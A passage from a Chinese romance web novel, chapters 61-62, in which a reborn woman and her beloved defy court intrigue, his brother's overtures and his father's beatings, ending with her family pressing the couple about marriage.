朝堂上各有说辞,议论纷纷。 太傅大人眼看姜家不保,冲到一直冷漠不言的傅亲王傅柏弘跟前,一把抓住他的衣衫道:“王爷,您快说句话,快帮帮微臣。” 傅柏弘淡淡瞥他一眼,拿开他的手,仍旧一句话不说。 太傅大人心中愤然,又跑到大学士跟前,恳求道:“大人与我关系甚好,应该了解我的为人,我们姜家怎敢做这种大逆不道之事,请大人帮忙澄清。” 大学士深知姜家终是难保,与他拉开了一点距离道:“此事皇上自有定夺,恕我无法。” 这个时候,怕是没有一个人愿意出来为他作证,有人铁了心要搬倒姜家,作证也没有用,傅朝寻这条恶狗逮着谁都咬,指不定以后还会做什么,大家都是泥菩萨过河自身难保了,哪还有功夫保他。 在一切都未查明之前,皇上并未给姜家定罪,只是暂时查封了姜家,把太傅大人软禁在了皇宫。 姜家怕是要完了。 傅朝寻也趁此指控姜叙诬陷他与前朝公主密谋造反,解除了嫌疑。 这一次,傅朝寻又打了一个漂亮的翻身仗。 只是,他刚一出宫门就被父亲狠狠地踹了一脚,然后被父亲的侍卫拿刀架在脖子上,抓回了亲王府。 父亲把他关在房间里狠狠地教训了一顿,鞭子都抽断了。 他带着浑身鲜血去了和叶元倾前世住的院子,躺在他们曾经睡过的床上,迷迷糊糊地躺了一整夜。 黑夜里,呢喃着:“元倾,再等一等,我又解决了一群害我们的人,相信我们很快就可以平安地在一起了。” —— 自从那天在御林园和傅朝寻亲吻之后,叶元倾整个人就像重新活过来了一样,心情很好,气色也好。 那天,他亲她亲的那么激动,差一点两个人就要在一起了,甚至她后来总是梦到他,梦到他们前世在一起的时候。 以前她觉得等待是一种煎熬,也觉得他总是默默地扛下一切就是对她的不尊重,甚至是疏离,但是现在,她并不这么认为了,无论是前世还是今生,他所做的一切都是在为了他们的婚姻,他们的将来。 他愿意扛下所有,这是对她最大的疼爱。 所以,她要安安静静地等着,等着他扫清所有障碍,对她说一句:“元倾,我们回家吧!” 这一年马上就过完了,春天很快就来了,她想她应该不会等太久。 过两日就是他的生辰了,不知道这个生辰她能不能陪在他身边。她到街上挑了一些刺绣用的东西,她要绣一个香囊送给他。 她买完刺绣用品又到别的店里给他挑了几条好看的发带,正出店门时,迎面撞上了傅呈延。 傅呈延穿了一袭昂贵的白色锦衣,手中提着一份糕点,撞上她以后,很有礼貌地说了一声“抱歉”。 她有些惊讶往后退了一步。 只听傅呈延道:“元倾姑娘,能否与我喝一杯茶,我有几句话要对你说。” 60-70 第61章 第 61 章 “我……有点在意。”…… 叶元倾对傅呈延的印象并不太好, 前世虽然一直琢磨不清他的为人,但是今世他屡次抢傅朝寻的功劳着实让人厌烦。 那天他把傅朝寻从山顶带走就让她起了很强的戒备心,她隐约觉得他在密谋什么坏事。 他和傅朝寻长得很像, 只是他看起来更精明更高傲一些。 这一世他们二人本没有任何交集, 甚至只见过几次面,他突然找她,也不知是何用意。 傅呈延找了一家茶馆,两个人坐下来,茶馆老板给他们奉上了店里最好的茶。 傅呈延把糕点放在桌子上,推到叶元倾面前,道:“听说这个很好吃, 送给元倾姑娘。” 是一份很漂亮的桃花糕。 叶元倾微蹙了下眉头,没说话。 傅呈延抬眸看她, 见她正满眼戒备地看着自己,微挑了下唇角,清声道:“元倾姑娘别紧张,我找你只是想与你说说朝寻的事。” 傅朝寻? “他怎么了?”叶元倾心中蓦地一惊, 他又出事了? 傅呈延见她反应激动,紧盯着她的眼睛道:“因为姜家的事被父亲打了一顿, 鞭子都抽断了,全身是伤,昨晚在宜湘居躺了一夜。” 又是被父亲打, 她就知道,她就知道他不会有一天安稳的日子, 她自昨日起心里就一直不安,果然还是出事了。 她的眼睛瞬间红了,忙问道:“看大夫了吗?现在怎么样?” 她的担忧傅呈延全看在了眼里, 他习惯性地用手指轻点了一下桌面,安慰道:“元倾姑娘放心,大夫已经给他医治过了,暂无大碍,只是他一直待在宜湘居里不肯出来,也不知为何。宜湘居那里什么都没有,连铺盖都没有,那么冷的天,他却在那里冻了一整夜。” 宜湘居,是他们前世的家,他昨天受伤一定是又怀念他们的曾经了。 叶元倾强忍着眼泪,垂首未做声。 傅呈延依旧审视着她,又道:“我听说了一些你和朝寻的事情,那日朝寻还亲口告诉我,他和元倾姑娘两情相悦,情投意合,只是有太多的阻碍不能在一起。我身为他的兄长一直为他的婚事担忧,他这个人外冷内热,不太会与人相处。朝寻自幼怕我们父亲,现在也一样,他想迎娶你,但是又不敢提,也不知如何提,若是元倾姑娘不介意的话,我来操心你们的婚事如何?” 他来操心她和傅朝寻的婚事? 叶元倾疑惑地看他。 傅呈延继续道:“虽然我与朝寻有一些隔阂,但我们毕竟是亲兄弟,关系还是最亲的。如果元倾姑娘愿意,我会去说通父亲,让你们尽快成婚,婚房可以设在宜湘居,我看朝寻挺喜欢那里。宜湘居本是我娘亲生前最喜欢的院子,她去世前,经常带我去那里坐着,我和朝寻一样,对那里都有不一样的感情。” 不一样的感情?叶元倾听的云里雾里的,不知他为何要与她说起这些,但是看他的神色,挺伤感的。 其实他和傅朝寻一样,自幼就没了娘亲,傅朝寻没有享受过母爱,他也没有,这兄弟俩,若是互相体谅体谅,相信傅朝寻也不会过得那么辛苦。 傅呈延见她呆愣着,给她倒了一杯茶,又道:“以前,确实是我对朝寻不够关心,才让他受了那么多苦,身为帝王家的孩子,各有各的命数,各有各的难处。上次从山顶把他抱回家,看着一直昏迷不醒,我也很自责,很心疼。我守了他半个多月,请了诸多名医才保住了他的性命,为此我愧疚不已,想为他做点什么,也想弥补以前作为兄长没有做到的疼爱。” 他说着说着垂下了眼,身上那种高傲的气质不知何时已经不见了,只留下忧伤和自责。 叶元倾看着他,虽然对他仍有戒备,但是又很欣慰他还有一点人情味,无论他说的真假,有这番话和这个神情,对傅朝寻来说都不算最糟糕,起码看起来还是有点亲情在的。 叶元倾沉思了一会,对他道:“多谢傅公子能为我们操心,我们两个人的事情我们自己会看着办,既然傅公子觉得有愧于他,那就多关心关心他,他一直都很努力,他希望能像寻常孩子一样得到父亲和兄长的疼爱,以后你若能好好待他,他会很开心的。这个世界上,除了父亲,你就是他最亲近的人了,人活一世,总是那么辛苦,全凭感情支撑着,而亲情又是感情中最重要最珍贵的,我相信,你以后一定能做一个好兄长,我也期待他能有父亲疼兄长爱。” 任何人都不希望和自己的家人反目成仇,傅朝寻如今有了权力还能忍耐父亲的鞭打,说明他还没有丢掉那一点对亲情的渴望,他宁愿挨打挨骂也不愿与家人决裂,也证明了他想在烂透的人生里种出一片花儿。 她说话语音温柔,微蹙着秀眉,眼睛也红红的,傅呈延认真地听着她这番话,看着她眉眼里流淌着忧伤,一瞬间有点恍惚了,二十几年来,头一次有人相信他会做一个好t?兄长。 一束光从门前投来,落在她的侧脸上,盈盈绕绕的光线下,他好似看到娘亲坐在他的面前,对他说:“延儿,生下来无论是弟弟还是妹妹,你都要好好疼他爱他,这个世界上,除了父亲母亲,你是他最亲近的人了。” 他最亲近的人。 四周安静了好一会。 他垂下头来,本来还有话要说,不知为何,面对她却说不出口了。 他站起身,对她道:“不打扰元倾姑娘了。” 两个人没头没尾地说了一番话,叶元倾也感觉到他说不下去了,便道:“傅朝寻受了伤,还希望傅公子多照顾照顾他,他应该很希望得到哥哥的关心。” 谁不想有家人疼家人爱呢! 傅呈延只是应了一声,率先离开了。 叶元倾望着这个连背影都是高傲的男子,沉沉地叹了口气。 人心都是肉长的,总有心软的时候吧! 叶元倾回了家,大哥二哥都在家中,二哥看到她,冲上来就道:“妹妹,你可知傅朝寻有多英勇,昨日在朝堂上哥哥当真见识了什么才叫真正的男儿郎,即便是在皇上面前,他的腰板依旧挺的笔直,指控姜叙时也是声色俱厉直指要害,让太傅大人反驳的机会都没有,所有的人证物证都搜查的仔细,就连姜叙每日几更起几更眠都调查的一清二楚。” 叶元萧很激动,能看出来他是真的佩服傅朝寻。 叶元倾轻笑着,傅朝寻果然还是她在城门下见到的大英雄。 现在姜家解决了,二哥也解除了嫌疑,傅朝寻还收走了京北码头,前世叶家出现的所有问题,好像全都被他提前解决了。 一旁的叶元恒尴尬地咳嗽两声。 叶元倾看了看他,走到他跟前,嘿嘿笑道:“怎么样?以后不会再教唆我和傅朝寻分开了吧!” 昨天他还劝他放弃傅朝寻选择叶卓。 叶元恒扬了扬眉头,傅朝寻这一招他确实没有想到,但是又不得不佩服:“这小子确实有两把刷子,连你二哥以前都没发现的细节,他都调查的一清二楚,还把督稽司里每个人与姜叙来往的次数都调查了一遍,办事效率实在高。以前是大哥错怪他了,改日我向他道歉,幸亏那天下手没那么重。” “你打他了?”叶元倾不禁瞪了一下眼。 叶元恒忙解释道:“我当时太生气了,所以就……稍微揍了他两拳。” “只是稍微?”叶元倾有点不相信。 叶元恒有点心虚地点点头,回忆一下,当时好像把傅朝寻的嘴唇打破了,真后悔下手重了,以后这个大舅子可不好当了。 叶元倾回了闺房,把买来的东西放下,让伶儿找了几个花样,开始给傅朝寻绣香囊。 今天天气很好,她心情也很好,只是有点担心傅朝寻的伤,他父亲下手那么重,身上一定很疼很疼吧! 他躲了她那么多天,一定是遇到了麻烦,虽然现在很想见他,但是为了不再给他添麻烦,她能忍住。 用了午饭,她准备去找叶宁,刚出屋门叶宁就先过来了。 “妹妹!”叶元倾拉她进屋坐下。 叶宁脸色不太好,叶元倾已经猜出了原因,她先开口道:“我正要去找你,结果你来了。姐姐知道你是因为叶卓的事在伤心,我们今天好好聊聊。” 昨天叶卓来将军府表白,又在将军府睡了一下午,府上的人早就把这事传开了,她一开始没急着找叶宁,是想着给叶卓一点时间,让他先和叶宁把事情说清楚,看叶宁这个脸色,好像说的不是很想。 叶宁一直都是个藏不住事的人,见叶元倾先开了头,憋了一天终是忍不住了,她忧着小脸道:“妹妹昨日就想过来找姐姐,但是娘亲不让我来,娘亲说这是二哥的问题,跟姐姐没有关系。我觉得娘亲说的对,我怕姐姐胡思乱想就没敢来找你,可是憋的好难受啊!” 叶宁果然还是那个最可爱的叶宁。 叶元倾揉了揉她的脑袋,笑道:“傻妹妹,姐姐怎么可能胡思乱想,这两日我也在思考要怎么帮帮你,但是感情的事情又不能强求。卓哥哥现在还迷茫着,心里也不好受,若是强行让你俩在一起,对你对他都不好。感情是可以培养出来的,你和卓哥哥又有那么多年的感情基础,以后慢慢相处,说不定以后真的能走到一起。” 叶元倾考虑的周全一些,虽然她接受不了叶卓,但是也体谅他的难过。 叶宁叹了口气道:“谁说不是呢!所以,我想了又想,还是不知道该怎么办。昨日我娘亲跟我说了很多,她说,若是我和二哥哥在一起,以后就要去禹国,可能还要接受他娶妃纳妾。我娘说,依我的身份,太子妃不一定能做上,皇后更不用想了,也许还要和别的妃子争宠,甚至丧命,只是听听我就觉得害怕。所以,我有点怯气了,我也不想嫁到禹国永远回不来。” 没有哪个女子愿意远嫁他乡。 叶元倾见她开窍了一点,温声道:“所以,妹妹你要想清楚,在还没有陷进去的时候尽快跳出来。感化一个人很累的,你要拿着百分之百的爱和热情去感化一个可能只有百分之十或者二十感情的人,那真的太辛苦了,况且付出了也不一定有回报。姐姐这么说没有别的意思,只是想让你明白,没有感情基础的婚姻,真的很累很累。” 以前他和傅朝寻即便有那么一点感情基础还凄惨了七年,何况这种只有一方喜欢的。 叶宁趴在桌子上沉沉叹着气,显然还是放不下叶卓。 叶元倾安慰她:“若是拿不定主意就先别急着下决定,也别因为一时冲动失去所有判断能力,你且安静地等着,看看卓哥哥最终如何选择。你平时还像以前那样对他,别给他太大压力,冷静下来给出的结果才是最真实的。妹妹,婚姻乃是女子一生中最重要的事情,它可以改变你的后半生。我想依卓哥哥的为人,即便以后你们不在一起,他也会像从前那样疼你宠你,要是能得到一辈子这样的宠爱,倒也不必去纠结什么爱情亲情了,活开心了才重要。” 她又抓起叶宁的手帮她暖着,说:“姐姐也要感谢你,在这种时候还那么相信我,主动找我说明白,姐姐告诉你,无论你和卓哥哥以后如何,我都会永远站在你这一边。” 这世上怎么会有这么好的姐姐呢!叶宁眼睛一下子红了,一把抱住她说:“姐姐,你怎么像我娘一样,我娘昨天也是这样安慰我的。” 叶元倾听了这话不禁笑了,问她:“想吃什么?姐姐带你去吃。” 叶宁想了想道:“我想吃糖蟹,虾羹。” “好,我们现在就去,叫上我大哥二哥。” “那,要不要叫上卓哥哥?” 叶宁满心里都是他。 叶元倾本来觉得尴尬,但是又不好说什么,于是就让叶元恒去找叶卓,看看他的意思。 叶卓一口答应了,跟着他们去了一家酒楼吃饭。 起先叶卓一直不说话,后来他见叶宁还像从前一样缠着他一声声叫着“二哥哥”,又心疼的不行,他不想破坏气氛,只能忍着心里的难过和大家有说有笑。 几个人围坐在一起吃饭,还像去年春节前那样,一家人其乐融融。 吃完饭他们又去放烟花。 看着璀璨的烟花,心里所有的不痛快好像全都消散了。 这一天叶卓都未和叶元倾说一句话,只是时不时地偷偷看她。 相比表白后的痛苦,暗恋的滋味倒也不是那么苦涩了。 —— 前朝遗诏在亲王府的消息传的愈演愈烈,上到朝廷下到官员,无数双眼睛开始盯向亲王府。 傅朝寻的伤还未好就被父亲叫到了书房里。 傅呈延也在。 爷仨脸色都不好,三个人同在一个房间着实罕见,氛围也让人紧张。 卫知一直守在门外,甚至都给傅朝寻准备好了急救的药。 房间里安静了很长时间,没有一个人先开口。父亲养了多年的蛇也不知去了哪里,好像很久都未见到了。 父亲傅柏弘斟酌再三,终是开口:“延儿把户部的所有事务暂且交给寻儿管,这段时间你全身心辅佐他。我也与刑部侍郎那边约好了,寻儿回头与他见一见。” 让嫡长子辅佐次子,在亲王府简直就是惊天动地的大事,连傅朝寻都震惊地愣住,父亲这是要下血本了。 他看了一眼傅呈延,傅呈延端坐着默不作声,面无表情,也看不出在想什么。 傅柏弘看了t?看二人,又道:“最近朝中一直在传前朝遗诏的事,还有人说遗诏在亲王府里,此事说大不大说小不小,你们两个警觉一些,尽快把此事查明清楚。这段时间,延儿放下手中所有事情来配合寻儿调查。后天是大年,也是寻儿的生辰,我已经安排好,届时好好给寻儿庆祝庆祝。” 庆祝庆祝。 单单这几个字就让傅朝寻激动不已,虽然深知父亲的用意,但还是很激动很激动。 二十几年了,他是不是可以和家人一起吃一顿年夜饭了? 兄弟俩都没说话,以往傅呈延对父亲有话必接,这一次,却一直沉默着。 这次谈话的时间并不长,说的话还没有沉默的时间长。 二人出了父亲的房间,傅呈延叫住傅朝寻。 傅呈延掏出一个精致的瓷瓶递给他,道:“从北疆取的修复伤疤的药到了,你每晚睡觉前涂一涂,若是有效果,等用完了我再让人去取。” 傅朝寻蹙眉看了看,动了一下手,没有接。 傅呈延抓起他的手,放到他手里,道:“今日有人给我说了一番话,让我茅塞顿开,我也在想要如何缓解缓解你我之间的关系。” 傅朝寻又皱紧了眉头,看了看手中的药瓶,丢出一句:“没有什么好缓解的,井水不犯河水才能明哲保身。” 他说完,转身离开了,没给傅呈延一点好脸色。 他先回了书房,卫知跑上前准备给他上药,见他准备把药扔进纸篓里,急忙阻止道:“公子,不如尝试了解了解,也许很多事情都是误会。” 很明显,傅呈延这段时间对傅朝寻出奇的上心,无论他是何目的,眼里的关心是骗不了人的。 傅朝寻昏迷那段时间,傅呈延每天都会去看他,还亲自给他擦脸换衣,你说他对傅朝寻没有一点感情吧,他又照顾的无微不至,你要说他有感情吧,又总是霸道地抢傅朝寻的功劳。 这兄弟俩挺矛盾的。 傅朝寻把药瓶放到桌子上,紧皱着眉头一直都没有舒展过,父亲和傅呈延的心思很难猜,即便他们生活在一起这么年,他都很难猜透,他们突然的转变并没有让他觉得多开心,反而感觉到一种危险气息越来越浓。 但是心里那点期盼又总是作祟,会让他怀疑是自己心阴暗想多了。 他把药瓶打开闻了闻,最终还是递给了卫知:“先帮我涂点试试。” “好。”卫知接过来,仔细地帮他涂了一遍,然后问他:“公子,您蓄意谋反的误会已经解除了,皇上也不再派人跟踪你,你和元倾姑娘的婚事,是不是该谈谈了。” 婚事。 甫一听起来又惊又喜。 傅朝寻沉默了一会,沉声道:“先不着急,父亲和大哥在搞什么我还没弄清楚,一大堆麻烦事需要我处,若是现在成婚,元倾跟着我会遇到危险,她在将军府比跟着我安全。” 在一切危险没有结束之前,他还不敢拿元倾的安全去赌,成婚并不是最迫切的事。 卫知叹着气道:“那你不怕叶卓抢走?他现在是太子,非常有优势。” “怎会不怕。”傅朝寻一说此事就头疼,“不过叶卓有顾虑,他这个人什么都好,就是顾虑太多,现在叶宁是他最的顾虑,他不敢轻举妄动。” 卫知还是担心:“但是世事无常,我还是觉得娶过来更放心。” 傅朝寻站起身,去卧房挑了身衣服,沉声道:“家里这个也不好对付,娶进来不是更方便他惦记了。” “谁?”卫知一时没反应过来。 傅朝寻找了一件最好看的衣服穿上,回了一句:“送药的人。” 送药的人? “公子你去哪里?” “找元倾。” 叶元倾从外面回来以后就坐在窗前刺绣,她手笨,绣的很难看,但是她觉得难看也没关系,依傅朝寻的眼光,根本分不清好看不好看。 伶儿见她绣的歪歪扭扭,鸳鸯不像鸳鸯,鸟不像鸟,好几次想指点指点,最后还是忍住了,诚意最大,就这样吧! “小姐!侯爷。”夏枝兴冲冲地跑来,“他在院外等你。” 叶元倾激动地站起身,手里的绣针不小心扎进了指腹里,不禁吃疼地“啊”了一声。 伶儿急忙抓起她的手查看,见出了血,帮她按了按说:“小姐别激动,你干脆把他叫进来,让他进屋陪陪你。” 每次都往外跑,多冷啊! 叶元倾忙道:“不用。” 在家里有些事情做不了。 她开开心心地跑出院门,傅朝寻正倚在斜对面的壁角旁。 “傅朝寻。”叶元倾叫了他一声。 “嗯!”他应了一声,动身迎上她。 两个人又很有默契地拐进了隔壁的巷子里。 现在巷子里按上了灯笼,周围没有那么暗了。 两个人停下来,面对面站着,互相看着对方,眼眶都红了。 叶元倾一把扑进他的怀里,紧紧抱着他说:“傅朝寻,我好想你。” 很想很想。 以前从不曾说出的想念,现在会毫不犹豫地说出来。 傅朝寻搂紧她,抚摸着她的秀发,轻声问她:“你不生气吗?” “不生气,我知道你有困难。” “元倾!” “嗯!” “再等一等,到时候我会风风光光地把你娶回家。” “好,我等,等多久都可以。” 她踮起脚尖,双手捧住他的脸,看了看他的唇,没忍住亲了一下。 巷子里明亮了,什么都能看清了,只是有点不方便了。 傅朝寻伸手甩了一把飞镖,把柱子上的灯笼刺灭了。 周围瞬间黑了下来,叶元倾被傅朝寻一把抱起,娇小的身子又挂在了他的身上。 “元倾,亲之前我能不能问你一个问题。”傅朝寻突然说。 “嗯。”她点着头,双臂勾住他的脖颈。 他伸手揪住她的下巴,凑到她的唇边,语音里酸酸的:“你能不能告诉我傅呈延找你都说了什么?” “我……有点在意。” 第62章 第 62 章 他很想搂着她睡。 他怎么会不在意, 任何男人接近她他都会在意,在意到发疯。 前世,有一次他被父亲安排了任务, 外出三个月才得以回家, 而回到家中,只见她精神恍惚地倚在门前,看到他后,话也不说,含在眼睛里的泪水啪嗒啪嗒地落下来。 他问她怎么了,她不回答,只是一直落泪, 就像一个破碎的人儿站在门前一动不动,他问什么她都不说, 让她回屋她也不回,他只好把她抱回房间,亲自喂她吃饭更衣,搂着她睡了一夜, 她才只叫了一声“傅朝寻”。 家里的管家告诉他,说不久前发生了一件事, 叶元倾为此病倒不起,险些丢了性命。 他问:“出了何事?” 管家说:“府上一个打杂的,污蔑三夫人与人通奸, 告到了王爷那里,经过王爷一番调查, 发现那人是故意陷害,王爷当场就还了夫人清白。只是夫人为此一夜病倒,昏迷了数天, 半个多月才会说话,王爷怕传出不好的言论影响亲王府,一直都未告诉她娘家的人,她身边只有伶儿一个人照顾,伶儿说,有好几次夫人都拿起了刀子被她拦住了。后来夫人再也没有开心过,每天都在门前站着,应该是在等你回来。” 他当时话未听完眼睛就湿润了,管家还告诉他,说被污蔑通奸的对象是傅呈延,而父亲又怕损坏傅呈延的名誉,未等诬陷之人说出名字就割掉了他的舌头。 所以,当时连叶元倾都不知道“通奸”对象是谁。 父亲为了保护傅呈延,什么都做的出来。 他得知后,搜遍了整个京城终是找到了那个诬陷的人,而那人已经死了,死的很凄惨,四肢都被砍掉了。 他又去找傅呈延,傅呈延一遍遍地给他解释,说他和叶元倾没有任何关系,确实是被诬陷的,还说父亲已经查清了真相,让他不必在意。 他又去找父亲,父亲也这么说。 他当时想了又想,怎么也想不明白,是谁会想出这样一个点子去陷害叶元倾和傅呈延,目的又是什么,而那个人又为何不明不白的死了? 他为此抑郁了很长时间,也留在家中陪叶元倾很长时间,那是他头一次推掉父亲交给他的所有任务,留在家里陪着她。 她总是掉眼泪,他也跟着伤心难过,他不会哄人,也不知要如何与她沟通,只会在她落泪的时候叫一声“元倾”。 前世她受了太多的委屈,每每想起来他都懊悔不已,他真的觉得自己无能到连最基本的保护都给不了。 前世他并不知道傅呈延t?对她有过心思,这一世还是听了王妃和傅峥临的对话他才知道,原来傅呈延也想过去将军府提亲,并且还是去年的时候,还是他和叶元倾不认识的时候,那时候傅呈延就已经惦记上叶元倾了。 叶元倾也挺惊讶傅呈延为何突然找他,既然傅朝寻知道了,她自然没有必要隐瞒。 她轻声道:“他今天找我说了一些话,听得我迷迷糊糊,大概意思就是他想操心你我的婚事,因为他觉得你害怕你父亲,不敢向他提我们的事情,所以他想操点心,然后也想弥补一下做兄长的亏欠。” 傅朝寻眉头紧皱着,说:“他果然还是那么自以为是,他又怎知我不敢向父亲提我们的事情,他又凭什么操心我们的婚事,他就是多管闲事。” 傅朝寻说起来火气很大。 叶元倾已经意识到他对此事非常在意,但又不知他为何在意。 她没说话,低下了头。 他捏着她的下巴抬起来,又问:“在哪里说的话?” 她如实回道:“在一个茶馆,还带了一份桃花糕,不过我没要,我来的时候让店家收走了。” 还带了礼物。 傅朝寻深吸了一口气。 叶元倾揉了揉他冰凉的脸颊,说:“我觉得他应该是想从我这里套出一点你的信息,他说的最多的就是对你的亏欠,看他的神情确实挺自责的。” 傅朝寻用鼻尖蹭了蹭她的小脸,沉声说:“以后别他,见了就跑。” 叶元倾担心地问:“难道他真的要害你,想从我这里下手,然后威胁你?” 傅朝寻没做声。 叶元倾又道:“我今天告诉他,让他对你好一些,毕竟是亲兄弟,心总不会那么狠,前世你为他做了那么多事他都没有感谢过你,这一世又想抢你的东西,真的很让人讨厌。” 她也讨厌傅呈延。 他听了这话扬唇笑了,抱着她往上提了提,问她:“要不要跟我回侯府。” 他很想搂着她睡。 叶元倾摇头道:“不行,我父亲知道了一定不会饶过我。” 傅朝寻轻笑道:“我来这么多次了,你以为他不知道。” “或许知道,但是好歹是在自家门前,我若是跟你走了,性质就不一样了。” 她被他一直抱着,有些不舒服地动了一下身,他以为她要下来,又抱紧了一些,不打算松开。 她趴在他身上,软软的触感让他有些难以控制。 他突然想到了什么,脸颊立马通红通红。 叶元倾捧他脸颊的手也感觉越来越热,他好像有了点变化。 她的脸也突然红了,对他道:“你先放我下来,一直抱着挺累的。” “我不累。” “我累。” 他不松开,拖着她,让她两腿搭在腰侧,更亲密的动作不禁让她吞咽了几下口水,脸颊更烫了。 他低头要亲她,又说了一句:“躲着点傅呈延。” 她应着,不等他亲过来就先亲了上去。 他好像带着一团火,这次亲的明显比以前霸道,可能他自己也意识到控制不住情绪,停下来与她额心相抵,吸了几口气,又亲了上去,结果再亲上去侵略性更强了。 中间好几次他都在艰难忍耐,实在忍受不了就去咬她的唇。 她被他的霸道磨得浑身发烫,总是忍不住轻哼一声,而她每轻哼一声,他的身子就跟着微颤一下,情绪就更激动一些。 他……真的收不住了。 他毫无章法的亲吻和不断的侵略,让她意识到他在吃傅呈延的醋。 她有些疑惑地问:“你为何那么介意,我和傅呈延本就没有多少交集,他今日过来找我,我也觉得突然,若是他以后再为难你,你就告诉我父亲,告诉我祖母,让他们帮你对付。” 她不知道他生气的真正原因,他也不想说。 他把她放下来,把她拥到墙壁上,两手扣住她的手腕,低头亲吻着,依旧亲的不温柔。 他含住她的下唇咬了咬,又勾住她的舌,一点点向里探索,亲的她几乎喘不过气来。 她转头想躲开,他一只手捏住了她的脸颊,让她动也不能动,并且贴的她越来越紧,还夹着她的一条腿。 他一直不松手,她也不知道他今天怎么变得如此霸道,好像她要被人抢走了一样,霸占着一点不舍的松开。 她的唇被他亲的又热又艳,一双眼睛迷离着,整个人都是轻飘飘的。 他的手搂了一下她的腰,让她紧紧地贴在他的身上,他温热的身体,反应越来越强烈。 他太高了,她点着脚尖有些支撑不住,但是他的一只手捏着她的脸又不松开,还亲的越来越激情,好像达不到满足不罢休一样。 两个身体一碰到就浑身发麻。 他松开她的唇去亲她的脖颈,她终是仰了仰头喘了口气。 他一路往下亲,咬住她的衣带情难自控地扯了一下,她顿时感觉胸前一片冰凉,接着又感到一阵温热。 她往后撤着身子,又贴在了墙壁上。 他又搂紧她的腰,扯开自己的氅衣把她裹在里面,柔软的胸口紧贴着,让她又羞又紧张,不禁让她想起了他们圆房那晚,他摸上来的时候,惊讶地愣了好一会,一只手动也不敢动。 她当时羞得用被子盖住脑袋,直到结束都没掀开。 “元倾!”他轻轻叫了她一声。 他每次这样叫,她都知道他想干什么。 毕竟在家门前,她觉得还是不能太放肆,拿开了他摸上来的手。 “元倾!”他又叫了一声。 叫的她也有些忍不住了,微喘着气道:“你尽快处好后面的事,处完了快点来娶我。” 他应着:“好,我再快一些,到时候我们生两个孩子。” “你愿意要孩子了?” “愿意,生一个像你,一个像我。” 一说起孩子,她的鼻子酸酸的,若是前世他留给她一个孩子,哪怕一年半载不回家,她也不会那么痛苦了,七年太煎熬了,她每次看到叶宁被孩子缠着叫娘亲,她都很羡慕很难过。 那七年,她一点精神支柱都没有。 “元倾!你别怕,这一次我们成婚和以前不一样。”他知道她在担心什么,又把她搂紧了,道:“以后我会用大把的时间来陪你,你想要几个孩子都可以,若我们还留在京城,若我还是朝中官员,我会给你争取一个一品诰命,我也会维护好我们这的小家庭,不让你们受到任何伤害。” 这应该是傅朝寻此生对她说过最多的情话了,他嘴那么笨,说的那么诚恳,她自然是相信的,非常相信。 她在他胸前蹭了蹭湿润的眼睛,说:“好,我等着……” 突然“哐当”一声,墙里边好像有动静。 傅朝寻警觉地掏出了飞镖,叶元倾一把拉住他,急声道:“别,应该是大哥二哥。” 大哥二哥?傅朝寻疑惑地把飞镖收了起来。 叶元倾趴在他耳边小声说:“我们每次在这里见面,他们两个都会趴在墙头偷听,这墙那么高,肯定是我那虚弱的大哥又从墙头上掉下去了。” 傅朝寻的脸通红通红,不确定地问:“所以……所以……刚才我们亲吻被他们看到了?” 叶元倾轻轻一笑道:“亲吻不一定,周围太黑了,但是我们说的话他们肯定是听到了,尤其是你刚才说的那些情话,你以后若是耍赖,他们肯定不会放过你的。” 傅朝寻忙道:“我怎么会耍赖,我天天盼着还来不及。” 叶元倾摸了摸他的脸,问道:“那天我大哥打你疼不疼?” 傅朝寻握住她的手,回道:“不疼,就是嘴唇流了点血。” “都流血了?他下手这么重?” “还好。” “等我回去警告他。” “别,他下手越重说明他越在乎,我挺开心的。” 挨打还能开心? 两个人腻腻歪歪舍不得分开,傅朝寻抱着她亲了又亲,亲了又亲。 “元倾,怎么不请侯爷进家?”娘亲突然在院门前喊她。 叶元倾吓得猛地打了个激灵,一把推开搂着她的傅朝寻。 两个人都没敢说话。 “元倾!”娘亲又叫了一声。 “好……好,来啦!”叶元倾硬着头皮应了一声。 两个人一前一后地走到院门前。 傅朝寻见到温容,行了一礼道:“伯母,方才,我……我刚路过。” 他不知如何解释。 温容见他紧张起来,笑道:“天冷,进屋说话。” “好。”傅朝寻一口答应,跟着温容进了家。 叶元倾一进院门就看到大哥二哥鬼鬼祟祟地躲在一棵树后面。 一定是他们两个把娘亲叫出来的。 温容带着他们到了前堂,结果祖母傅青和父亲叶展桡也在t?前堂里。 傅朝寻紧张地给二位行礼。 叶元倾感觉不妙,大晚上怎么都不睡觉,还在这里坐着。 叶元倾看向父亲,父亲瞥她一眼,她急忙垂下了头。 傅青看看傅朝寻,开口道:“大晚上天冷,一直站在外头,容易冻着。” 傅朝寻和叶元倾都没说话,深知这是被逮到了,要兴师问罪。 “说来,我还得叫你一声侯爷。”叶展桡突然道。 傅朝寻急忙起身给他行礼,道:“朝寻不敢,伯父以后叫我朝寻就好。” 叶展桡摆摆手让他坐下。 “你们两个打算什么时候成婚?”傅青一直都是个直爽的人,觉得这个时候也没必要拐弯抹角。 成婚。 两个人又未说话。 傅青不仅皱起眉头,这都亲到家门口了,难道还不打算成婚? 房间里的气氛顿时尴尬起来,叶元恒揉了揉摔疼的腰,不禁纳闷,方才明明听到他们说起成婚,他才把祖母和父亲叫来说说,怎么,突然都不说话了? 傅朝寻张了张口想解释,只听叶元倾笑道:“方才傅朝寻问我想不想成婚,我说不想,想再等一等。现在姜家的事情还没有完全解决,他手里有大寺和码头要管,实在太忙了。况且,我还不想那么早出嫁。” 叶元倾解释了一番,听着挺有道。 叶元恒揉着腰,进屋说:“若是真想成婚,天王老子来了也挡不住,我觉得,应该是有人不想成婚吧!毕竟刚升官加爵,未来前途不可限量。” 叶元恒是个急脾气,说话阴阳怪气,他口中的那个人明显说的傅朝寻。 在傅朝寻的计划里,现在确实不合适成婚。一方面,他身边一直都有危险,元倾跟着他不安全。另一方面,前世害他们的人正一个个浮出水面,他也在快速解决,现在是最关键时刻。 父亲和大哥的秘密组织以及计划、大学士拉拢大批科考学子准备在翰林院里做手脚、温家铲除以后太子多次派人暗杀他,这些,全部都需要他一一解决,若是解决不了,即便元倾嫁给她,日后也不会好过,再加上他现在还不能搬出亲王府,让元倾住进亲王府里,就是让她进入狼窝。 他思来想去,还是觉得她待在将军府里最安全,既可以多享受一些父母的疼爱,又有父亲和兄长保护,怎么也比跟着他强。 而他很多事情也不想让叶家人插手,因为有人一直紧盯着叶家,就等着叶家出点事抢走他们手中的兵权,稍有不慎又会像前世一样落得个满门抄斩。 